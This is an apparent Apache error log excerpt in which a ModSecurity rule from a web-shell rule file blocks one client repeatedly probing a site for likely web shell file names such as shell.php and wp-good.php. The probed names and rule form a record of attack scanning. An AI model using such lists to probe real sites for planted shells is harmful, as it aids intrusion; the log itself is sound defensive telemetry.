[Sat Apr 18 04:44:45.154708 2026] [:error] [pid 9970:tid 9992] [client 51.120.90.220:27626] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aeKbvSYdRLRhVmaIMx2WqAAAANI"]
[Sat Apr 18 04:44:45.718412 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:27553] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aeKbvSYdRLRhVmaIMx2WqwAAANM"]
[Sat Apr 18 04:44:46.260587 2026] [:error] [pid 9970:tid 9990] [client 51.120.90.220:27585] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aeKbviYdRLRhVmaIMx2WrwAAANA"]
[Sat Apr 18 04:44:46.860806 2026] [:error] [pid 9970:tid 9981] [client 51.120.90.220:27576] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aeKbviYdRLRhVmaIMx2WsgAAAMc"]
[Sat Apr 18 04:44:47.383543 2026] [:error] [pid 9865:tid 9938] [client 51.120.90.220:27594] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aeKbv6zb5knECIY-C-iFNQAAAIE"]
[Sat Apr 18 04:44:47.918882 2026] [:error] [pid 9865:tid 9953] [client 51.120.90.220:27606] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aeKbv6zb5knECIY-C-iFNgAAAJA"]
[Sat Apr 18 04:44:48.437822 2026] [:error] [pid 9970:tid 9991] [client 51.120.90.220:27547] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aeKbwCYdRLRhVmaIMx2WvAAAANE"]
[Sat Apr 18 04:44:48.971047 2026] [:error] [pid 9863:tid 9894] [client 51.120.90.220:27614] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aeKbwDjjiypiFrTucbL3ZQAAABU"]
[Sat Apr 18 04:44:49.498810 2026] [:error] [pid 9863:tid 9889] [client 51.120.90.220:21058] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aeKbwTjjiypiFrTucbL3aAAAABA"]
[Sat Apr 18 04:44:50.024091 2026] [:error] [pid 9864:tid 9928] [client 51.120.90.220:27543] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aeKbwoCFeowknfXHM7kbHAAAAFY"]
[Sat Apr 18 04:44:50.541633 2026] [:error] [pid 9865:tid 9961] [client 51.120.90.220:21066] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aeKbwqzb5knECIY-C-iFOwAAAJg"]
[Sat Apr 18 04:44:51.091590 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:27586] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aeKbwyYdRLRhVmaIMx2WwgAAAMY"]
[Sat Apr 18 04:44:51.654852 2026] [:error] [pid 9864:tid 9924] [client 51.120.90.220:27529] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aeKbw4CFeowknfXHM7kbIQAAAFI"]
[Sat Apr 18 04:44:52.185313 2026] [:error] [pid 9863:tid 9897] [client 51.120.90.220:27604] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aeKbxDjjiypiFrTucbL3bAAAABg"]
[Sat Apr 18 04:44:52.781743 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:21103] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aeKbxCYdRLRhVmaIMx2WywAAANM"]
[Sat Apr 18 04:44:53.303540 2026] [:error] [pid 9970:tid 9974] [client 51.120.90.220:27623] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aeKbxSYdRLRhVmaIMx2W0AAAAMA"]
[Sat Apr 18 04:44:53.847650 2026] [:error] [pid 9970:tid 9996] [client 51.120.90.220:27544] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aeKbxSYdRLRhVmaIMx2W0QAAANY"]
[Sat Apr 18 04:44:54.383496 2026] [:error] [pid 9970:tid 9988] [client 51.120.90.220:27644] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aeKbxiYdRLRhVmaIMx2W1QAAAM4"]
[Sat Apr 18 04:44:54.924726 2026] [:error] [pid 9865:tid 9944] [client 51.120.90.220:27587] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aeKbxqzb5knECIY-C-iFQQAAAIc"]
[Sat Apr 18 04:44:55.468270 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21095] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeKbxyYdRLRhVmaIMx2W2wAAAMg"]
[Sat Apr 18 04:44:56.058979 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:27525] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeKbyCYdRLRhVmaIMx2W3gAAAMY"]
[Sat Apr 18 04:44:56.665164 2026] [:error] [pid 9970:tid 9992] [client 51.120.90.220:27590] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeKbyCYdRLRhVmaIMx2W4gAAANI"]
[Sat Apr 18 04:44:57.206776 2026] [:error] [pid 9970:tid 9991] [client 51.120.90.220:27598] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeKbySYdRLRhVmaIMx2W5gAAANE"]
[Sat Apr 18 04:44:57.819844 2026] [:error] [pid 9863:tid 9885] [client 51.120.90.220:27526] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKbyTjjiypiFrTucbL3cAAAAAw"]
[Sat Apr 18 04:44:58.378982 2026] [:error] [pid 9970:tid 9992] [client 51.120.90.220:27548] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKbyiYdRLRhVmaIMx2W8wAAANI"]
[Sat Apr 18 04:44:58.917625 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:21077] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKbyiYdRLRhVmaIMx2W9wAAANM"]
[Sat Apr 18 04:44:59.460814 2026] [:error] [pid 9865:tid 9942] [client 51.120.90.220:27612] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKby6zb5knECIY-C-iFRgAAAIU"]
[Sat Apr 18 04:45:00.127007 2026] [:error] [pid 9865:tid 9955] [client 51.120.90.220:21065] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeKbzKzb5knECIY-C-iFSQAAAJI"]
[Sat Apr 18 04:45:01.131179 2026] [:error] [pid 9865:tid 9952] [client 51.120.90.220:21069] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeKbzazb5knECIY-C-iFUQAAAI8"]
[Sat Apr 18 04:45:01.904995 2026] [:error] [pid 9970:tid 9974] [client 51.120.90.220:20996] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeKbzSYdRLRhVmaIMx2XAAAAAMA"]
[Sat Apr 18 04:45:02.466397 2026] [:error] [pid 9865:tid 9956] [client 51.120.90.220:27555] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeKbzqzb5knECIY-C-iFVAAAAJM"]
[Sat Apr 18 04:45:03.011281 2026] [:error] [pid 9865:tid 9953] [client 51.120.90.220:27550] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeKbz6zb5knECIY-C-iFVgAAAJA"]
[Sat Apr 18 04:45:03.583199 2026] [:error] [pid 9864:tid 9923] [client 51.120.90.220:27607] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeKbz4CFeowknfXHM7kbKQAAAFE"]
[Sat Apr 18 04:45:04.294863 2026] [:error] [pid 9970:tid 9985] [client 51.120.90.220:27563] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeKb0CYdRLRhVmaIMx2XCQAAAMs"]
[Sat Apr 18 04:45:04.938702 2026] [:error] [pid 9865:tid 9946] [client 51.120.90.220:27608] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeKb0Kzb5knECIY-C-iFXgAAAIk"]
[Sat Apr 18 04:45:05.459325 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:27541] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aeKb0SYdRLRhVmaIMx2XDwAAAMY"]
[Sat Apr 18 04:45:06.104622 2026] [:error] [pid 9970:tid 9998] [client 51.120.90.220:27571] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aeKb0iYdRLRhVmaIMx2XFAAAANg"]
[Sat Apr 18 04:45:06.693750 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21111] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aeKb0iYdRLRhVmaIMx2XGAAAAMg"]
[Sat Apr 18 04:45:07.259668 2026] [:error] [pid 9864:tid 9912] [client 51.120.90.220:27592] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aeKb04CFeowknfXHM7kbLwAAAEY"]
[Sat Apr 18 04:45:07.939023 2026] [:error] [pid 9863:tid 9888] [client 51.120.90.220:27582] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aeKb0zjjiypiFrTucbL3dgAAAA8"]
[Sat Apr 18 04:45:08.466434 2026] [:error] [pid 9863:tid 9875] [client 51.120.90.220:27627] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aeKb1DjjiypiFrTucbL3dwAAAAI"]
[Sat Apr 18 04:45:09.022647 2026] [:error] [pid 9865:tid 9949] [client 51.120.90.220:27593] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aeKb1azb5knECIY-C-iFYwAAAIw"]
[Sat Apr 18 04:45:09.609294 2026] [:error] [pid 9863:tid 9895] [client 51.120.90.220:21115] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aeKb1TjjiypiFrTucbL3eQAAABY"]
[Sat Apr 18 04:45:10.138420 2026] [:error] [pid 9970:tid 9998] [client 51.120.90.220:27629] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aeKb1iYdRLRhVmaIMx2XHQAAANg"]
[Sat Apr 18 04:45:10.664939 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21089] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aeKb1iYdRLRhVmaIMx2XIAAAAMg"]
[Sat Apr 18 04:45:11.209358 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:27554] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aeKb1yYdRLRhVmaIMx2XIwAAANM"]
[Sat Apr 18 04:45:11.810582 2026] [:error] [pid 9970:tid 9995] [client 51.120.90.220:27521] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aeKb1yYdRLRhVmaIMx2XJgAAANU"]
[Sat Apr 18 04:45:12.378341 2026] [:error] [pid 9863:tid 9881] [client 51.120.90.220:27575] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeKb2DjjiypiFrTucbL3fAAAAAg"]
[Sat Apr 18 04:45:13.040853 2026] [:error] [pid 9865:tid 9945] [client 51.120.90.220:21081] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeKb2azb5knECIY-C-iFZwAAAIg"]
[Sat Apr 18 04:45:13.755500 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21079] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeKb2SYdRLRhVmaIMx2XMAAAAMg"]
[Sat Apr 18 04:45:14.304433 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:27647] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeKb2iYdRLRhVmaIMx2XMwAAANM"]
[Sat Apr 18 04:45:14.874645 2026] [:error] [pid 9865:tid 9941] [client 51.120.90.220:27542] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKb2qzb5knECIY-C-iFagAAAIQ"]
[Sat Apr 18 04:45:15.467417 2026] [:error] [pid 9970:tid 9998] [client 51.120.90.220:21075] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKb2yYdRLRhVmaIMx2XPAAAANg"]
[Sat Apr 18 04:45:23.479366 2026] [:error] [pid 9865:tid 9949] [client 51.120.90.220:27558] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aeKb46zb5knECIY-C-iFuAAAAIw"]
[Sat Apr 18 04:45:24.040299 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:21074] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aeKb5CYdRLRhVmaIMx2XVAAAAMY"]
[Sat Apr 18 04:45:24.601158 2026] [:error] [pid 9863:tid 9895] [client 51.120.90.220:27566] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aeKb5DjjiypiFrTucbL3mgAAABY"]
